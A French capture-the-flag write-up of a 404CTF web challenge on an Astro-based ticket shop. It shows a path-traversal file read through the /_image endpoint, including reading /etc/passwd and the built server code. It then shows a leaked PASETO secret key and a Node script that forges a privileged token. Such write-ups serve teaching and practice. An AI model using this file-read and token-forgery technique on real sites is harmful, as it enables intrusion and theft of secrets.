⭐La boutique officielle
404CTF{Sh0uld_Th1s_B3_a_CVE_?}
Catégorie: Web Difficulté: difficile Flag: -
Challenge
Description
Enfin ! Les billets pour la Cérémonie de Clôture des 404 Travaux du Hacker sont en vente sur la boutique officielle de l'événement. Le prix est peut-être un peu haut, mais tant pis. Vous avez déjà fait l'acquisition de l'une de ces étranges mascottes en forme de... bref ! Tout ça pour dire que ce n'est pas l'argent qui compte : une occasion comme ça, il ne faut pas la louper ! Allez, dépêchez-vous, j'ai le sentiment que vous n'êtes pas le seul à être intéressé.
Connexion: https://la-boutique-officielle.challenges.404ctf.fr
Ce challenge tourne sur un docker et n'est pas disponible
Exploration du site
La première étape est de visiter un peu tout le site avec un outil comme Burp afin de le cartographier.
Accès à la boutique
On peut se mettre en liste d'attente dans l'onglet Boutique en rentrant simplement un nom

Ce qui va nous créer un token.

Dans ce token, on y trouve notre nom, notre position dans la file et la date à laquelle nous nous sommes enregistrés.

Technologie utilisée
Avec un peu de recherche ou un outil comme Wappalyzer, on voit qu'il s'agit du framework node Astro.

Potentielle LFI
Dans l'onglet Proxy/HTTP history de Burp, on peut trouver des requêtes assez spéciales concernant les images du site. Elles sont récupérées sur le chemin /_image
en donnant au paramètre href ce qui semble être le chemin vers l'image sur le serveur directement.

Exploitation de la LFI
Proof of concept
Pour faciliter l'étude des requêtes, la modification et le rejoue, on va utiliser BurpSuite. Ça nous permettra de voir toutes les requêtes passant par le navigateur et les modifier si nécessaire.
On va tester la LFI en allant chercher /etc/passwd
dans un premier temps. Pour ça on remonte suffisamment dans l'arborescence et on tente

On reçoit Server Error: Error: Input buffer contains unsupported image format
. Il faut ajouter le paramètre f
, qui correspond au format de sortie, comme dans la requête vue dans l'historique.
Seulement, pour récupérer le fichier sans avoir l'erreur, il faut absolument mettre ce paramètre à svg
On peut trouver cette valeur en cherchant dans le github d'Astro et en testant toutes les valeurs possibles.
export const VALID_OUTPUT_FORMATS = ['avif', 'png', 'webp', 'jpeg', 'jpg', 'svg'] as const;

Récupération du code source
Sur le site d'Astro, on apprend que lorsque l'ont build le projet, le fichier d'entrée est ./dist/server/entry.mjs
, on peut donc récupérer celui-ci en remontant dans l'arborescence.



De là, on a accès au projet build. Dans le fichier, on trouve différentes choses intéressantes, notamment une map avec tout un tas de chemins qui semblent correspondre aux pages accessibles sur le site.
À chaque page, on a une variable associée nommée _pageX
qui est en fait un import d'un fichier .mjs
. On en déduit que ces fichiers correspondent à la logique de la page (à son code source grossièrement).
const _page0 = () => import('./chunks/node_DC_YwYNO.mjs');
const _page1 = () => import('./chunks/404_ejFbCBUG.mjs');
const _page2 = () => import('./chunks/about_DOsy3zx0.mjs');
const _page3 = () => import('./chunks/dequeue_CuId44A8.mjs');
const _page4 = () => import('./chunks/enqueue_Cyp9pFhK.mjs');
const _page5 = () => import('./chunks/sync_B3_0Eq--.mjs');
const _page6 = () => import('./chunks/ticket_DhEqCkFa.mjs');
const _page7 = () => import('./chunks/cgu_CY0EX12Q.mjs');
const _page8 = () => import('./chunks/privacy_8Ett3atZ.mjs');
const _page9 = () => import('./chunks/queue_DyZwKykP.mjs');
const _page10 = () => import('./chunks/index_Di_griV8.mjs');
const _page11 = () => import('./chunks/index_b6zfsK0N.mjs');
const pageMap = new Map([
["node_modules/astro/dist/assets/endpoint/node.js", _page0],
["src/pages/404.astro", _page1],
["src/pages/about.astro", _page2],
["src/pages/api/queue/dequeue.ts", _page3],
["src/pages/api/queue/enqueue.ts", _page4],
["src/pages/api/queue/sync.ts", _page5],
["src/pages/api/shop/ticket.ts", _page6],
["src/pages/cgu.astro", _page7],
["src/pages/privacy.astro", _page8],
["src/pages/queue.astro", _page9],
["src/pages/shop/index.astro", _page10],
["src/pages/index.astro", _page11]
]);
/api/shop/ticket
On découvre le chemin d'API /api/shop/ticket
. De là, on peut également récupérer son code source en utilisant le même chemin que sa variable associée _page6
C'est-à-dire /dist/server/chunks/ticket_DhEqCkFa.mjs

On voit un import sur /dist/server/chunks/pages/ticket_B7THZvNZ.mjs

Et voici le code récupéré !
import { PDFDocument, StandardFonts, rgb } from 'pdf-lib';
import fs from 'node:fs/promises';
const prerender = false;
const GET = async ({
cookies,
locals
}) => {
if (!locals.customer || locals.customer.position > 0) {
return new Response(JSON.stringify({
status: "error",
message: "Error: customer token is missing or customer is still in queue"
}), {
headers: {
"Content-Type": "application/json"
},
status: 403
});
}
const url = process.env.TICKET_PDF_URL;
const existingPdfBytes = await fs.readFile(url);
const pdfDoc = await PDFDocument.load(existingPdfBytes);
pdfDoc.setAuthor("Artamis");
pdfDoc.setTitle("Billet Cérémonie de Clôture");
const page = pdfDoc.getPage(0);
const courierFont = await pdfDoc.embedFont(StandardFonts.Courier);
const flag = process.env.FLAG || "Error fetching flag";
page.drawText(flag, {
x: 210,
y: 67,
size: 11,
font: courierFont,
color: rgb(0, 0, 0)
});
const pdfBytes = await pdfDoc.save();
return new Response(pdfBytes, {
headers: {
"Content-Type": "application/pdf"
},
status: 200
});
};
export { GET, prerender };
Le flag est dans process.env.FLAG
et pour le récupérer, il faut que locals.customer.position
soit égal à 0 afin de télécharger un PDF le contenant.
/api/queue/enqueue
En continuant les recherches dans les autres fichiers, notamment /dist/server/chunks/enqueue_Cyp9pFhK.mjs

On voit que la création de notre token se passe dans le fichier /dist/server/chunks/pages/enqueue_Csagi6Et.mjs
import { V4 } from 'paseto';
// ...
const createToken = async (customerCookie) => {
const token = await V4.sign(customerCookie, "k4.secret.OniOSikVRYNmSsGVYcyWTJuxjzXDjuOrz6PeRaLX4qQ77uScBEi20YoSQJSjiFagNckHEo_8m0AZaSazNCxCJg");
return token;
};
On vient de récupérer la clé privée servant à créer les tokens, on peut maintenant en générer des valides à volonté.
Récupération du flag
Créons un projet Node spécialement pour forger un token avec la position 0
$ npm init es6 -y
$ npm i paseto
Dans un fichier index.js
on y met la même fonction que celle du site, puis on l'appelle et on affiche le résultat.
import { V4 } from 'paseto';
// Fonction dans le code source du site
const createToken = async (customerCookie) => {
const token = await V4.sign(customerCookie, "k4.secret.OniOSikVRYNmSsGVYcyWTJuxjzXDjuOrz6PeRaLX4qQ77uScBEi20YoSQJSjiFagNckHEo_8m0AZaSazNCxCJg");
return token;
}
// On appelle la fonction
const token = await createToken({
name: "Hacked",
position: 0,
enqueueTime: new Date().toISOString()
})
// Affichage du token créé
console.log(token)
// v4.public.eyJuYW1lIjoiSGFja2VkIiwicG9zaXRpb24iOjAsImVucXVldWVUaW1lIjoiMjAyNC0wNS0xNVQwODo1Mjo1OS44ODNaIiwiaWF0IjoiMjAyNC0wNS0xNVQwODo1Mjo1OS44ODRaIn0ErgX60KZIsXmRosV5DHahzaSUl45WRjxAIrcyzmQSJT3mqupEX_V9yz6_tRkFE8pGzu_Bj-INS79OUpiv-Q8F
Désormais, on peut utiliser ce token. Pour une question purement visuelle, j'ai utilisé Postman pour faire la requête

Dernière mise à jour
Cet article vous a-t-il été utile ?